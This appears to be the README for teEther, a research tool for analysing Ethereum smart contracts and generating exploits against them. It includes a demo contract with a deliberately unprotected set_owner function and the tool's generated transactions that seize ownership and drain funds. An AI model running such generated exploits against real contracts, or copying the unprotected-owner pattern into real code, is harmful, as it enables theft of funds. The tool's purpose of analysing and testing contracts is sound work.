teEther - Analysis and automatic exploitation framework for Ethereum smart contracts

teEther is an analysis tool for Ethereum smart contracts. It can

• disassemble EVM bytecode
• perform backward slicing
• execute EVM bytecode
• execute EVM bytecode symbolically
• plot nice CFGs
• create exploits for vulnerable smart contracts

Quickstart

1. Install teEther

python setup.py install

2. Write your vulnerable smart contract

pragma solidity ^0.4.0;

contract Test{

    struct Transaction{
        address to;
        uint amount;
    }

    mapping (bytes32 => Transaction) transactions;

    address owner;
    
    function set_owner(address new_owner){
        owner = new_owner;
    }
    
    function new_transaction(address to, uint amount) returns (bytes32){
        bytes32 token = sha3(to, amount);
        Transaction storage t = transactions[token];
        t.to = to;
        t.amount += amount;
        return token;
    }
    
    function approve(bytes32 token){
        require(owner == msg.sender);
        Transaction storage t = transactions[token];
        t.to.transfer(t.amount);
        delete transactions[token];
    }
    
}

3. Compile your contract

$ solc --bin test.sol | tail -n1 > test.code

4. Extract the deployed contract code

$ python bin/extract_contract_code.py test.code > test.contract.code

5. Generate an exploit

$ python bin/gen_exploit.py test.contract.code 0x1234 0x1000 +1000

...
eth.sendTransaction({from:"0x0000000000000000000000000000000000001234", data:"0x7cb97b2b0000000000000000000000000000000000000000000000000000000000001234", to:"0x4000000000000000000000000000000000000000", gasPrice:0})
eth.sendTransaction({from:"0x0000000000000000000000000000000000001234", data:"0x0129ab2700000000000000000000000000000000000000000000000000000000000012340000000000000000000000000000000000000000000000016bc75e2d63100103", to:"0x4000000000000000000000000000000000000000", gasPrice:0})
